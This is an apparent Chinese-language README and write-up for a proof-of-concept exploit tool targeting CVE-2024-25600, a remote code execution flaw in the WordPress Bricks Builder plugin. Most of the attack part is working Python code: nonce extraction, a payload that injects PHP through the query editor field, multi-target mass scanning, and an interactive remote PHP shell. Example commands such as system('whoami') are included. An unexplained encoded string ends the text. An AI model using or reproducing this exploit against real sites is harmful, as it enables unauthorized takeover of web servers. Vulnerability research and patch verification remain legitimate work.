WordPress Bricks Builder 漏洞利用工具 (CVE-2024-25600)

2 阅读4分钟

🛡️ WordPress Bricks Builder RCE 利用工具 (CVE-2024-25600)

本项目提供了一个用于验证和利用 WordPress Bricks Builder 插件中 CVE-2024-25600 远程代码执行漏洞的概念验证 (PoC) 工具。该工具专为安全研究人员和教育目的设计,能够演示此高危漏洞的严重性,帮助管理员理解并修复其网站的安全隐患。

✨ 功能特性

  • 自动 Nonce 提取:通过解析目标页面的 HTML 和 JavaScript 数据,自动获取执行漏洞利用所需的 nonce 值。
  • 多线程扫描:支持从文件列表中批量扫描多个目标,快速发现易受攻击的站点。
  • 交互式 Shell:成功利用漏洞后,可提供一个简单的交互式 PHP 命令执行环境,用于进一步的安全验证。
  • 实时进度反馈:利用 alive-progress 库提供直观的扫描进度条,增强用户体验。
  • 彩色终端输出:使用 rich 库美化控制台输出,使状态信息更清晰易读。
  • 多种攻击路径:内置了多个可能的 API 端点,提高了漏洞利用的成功率。

📦 安装指南

系统要求

  • Python 3.6 或更高版本
  • 建议在 Linux 或 macOS 环境下运行,Windows 系统可能需要进行额外配置。

依赖安装

  1. 克隆或下载本项目代码。

  2. 安装所需的 Python 依赖库:

    pip install requests beautifulsoup4 rich prompt_toolkit alive-progress
    

🚀 使用说明

基本用法

  1. 单目标测试 对单个目标网站进行漏洞测试,成功后自动进入交互式 Shell。

    python exploit.py -u https://example.com
    
  2. 批量扫描 使用 -l 参数指定一个包含目标 URL 列表的文件(每行一个 URL),进行批量漏洞检测。

    python exploit.py -l targets.txt
    

典型使用场景

  1. 安全评估:在获得授权后,安全测试人员可以使用此工具快速验证其管理的网站是否受到 CVE-2024-25600 漏洞的影响。
  2. 漏洞验证:研究人员可以深入分析漏洞的利用原理,通过此 PoC 代码理解攻击载荷和请求结构。
  3. 教育与培训:作为网络安全课程的演示材料,直观展示 RCE 漏洞的危害性和利用过程。

交互式 Shell 命令示例

成功建立交互式 Shell 后,您可以直接输入任何 PHP 代码进行执行,例如:

// 查看当前用户信息
<?php echo system('whoami'); ?>

// 获取网站根目录文件列表
<?php echo system('ls -la'); ?>

// 获取PHP配置信息
<?php phpinfo(); ?>

// 退出交互式Shell
exit

🔍 核心代码

1. Nonce 提取函数

该函数通过解析目标页面的 HTML 内容,从 bricks-scripts-js-extra 脚本标签中提取用于身份验证的 nonce 值,这是漏洞利用成功的关键第一步。

def fetch_nonce(target):
    try:
        response = requests.get(target, verify=False, timeout=10)
        response.raise_for_status()
        soup = BeautifulSoup(response.text, "html.parser")
        script_tag = soup.find("script", id="bricks-scripts-js-extra")
        if script_tag:
            # 使用正则表达式从脚本内容中匹配nonce值
            match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
            if match:
                nonce = match.group(1)
                return nonce
    except Exception:
        return None

2. 漏洞利用核心逻辑

此函数负责构建并发送携带恶意 PHP 代码的 POST 请求,实现远程代码执行。它包含了错误处理和响应判断逻辑。

def exploit(target, nonce, command):
    # 定义攻击payload,通过'element'参数注入PHP代码
    payload = {
        "postId": "1",
        "nonce": nonce,
        "element": {
            "name": "container",
            "settings": {
                "hasLoop": "true",
                "query": {
                    "useQueryEditor": True,
                    "queryEditor": f"throw new Exception('<?php {command}; ?>');",
                    "objectType": "post"
                }
            }
        }
    }

    for path in paths:
        try:
            url = target.rstrip('/') + path
            response = requests.post(url, json=payload, verify=False, timeout=10)
            # 检查响应中是否包含错误信息,以判断代码是否执行成功
            if "Exception" in response.text:
                # 从异常信息中提取执行结果
                result = re.search(r'Exception: (.*?) in', response.text, re.DOTALL)
                if result:
                    return result.group(1)
                else:
                    return response.text
        except Exception as e:
            continue
    return None

3. 交互式 Shell 实现

该函数利用 prompt_toolkit 库创建了一个带有历史记录功能的交互式命令行,方便用户连续执行多个 PHP 命令,模拟了类似系统 Shell 的体验。

def interactive_shell(target, nonce):
    color.print("[bold bright_green][+][/bold bright_green] Interactive shell established. Type your PHP code (e.g., 'system('id');') or 'exit' to quit.")
    session = PromptSession(history=InMemoryHistory())
    while True:
        try:
            command = session.prompt(HTML('<ansired><b>shell></b></ansired> '), auto_suggest=AutoSuggestFromHistory())
            if command.lower() == 'exit':
                break
            if command:
                result = exploit(target, nonce, command)
                if result:
                    color.print(result)
                else:
                    color.print("[bold bright_red][-][/bold bright_red] Command execution failed or no output.")
        except KeyboardInterrupt:
            break

6HFtX5dABrKlqXeO5PUv/8kqgduyQYAbwdCDhNRtG78yH0us1P4rD47+t9oQlJgc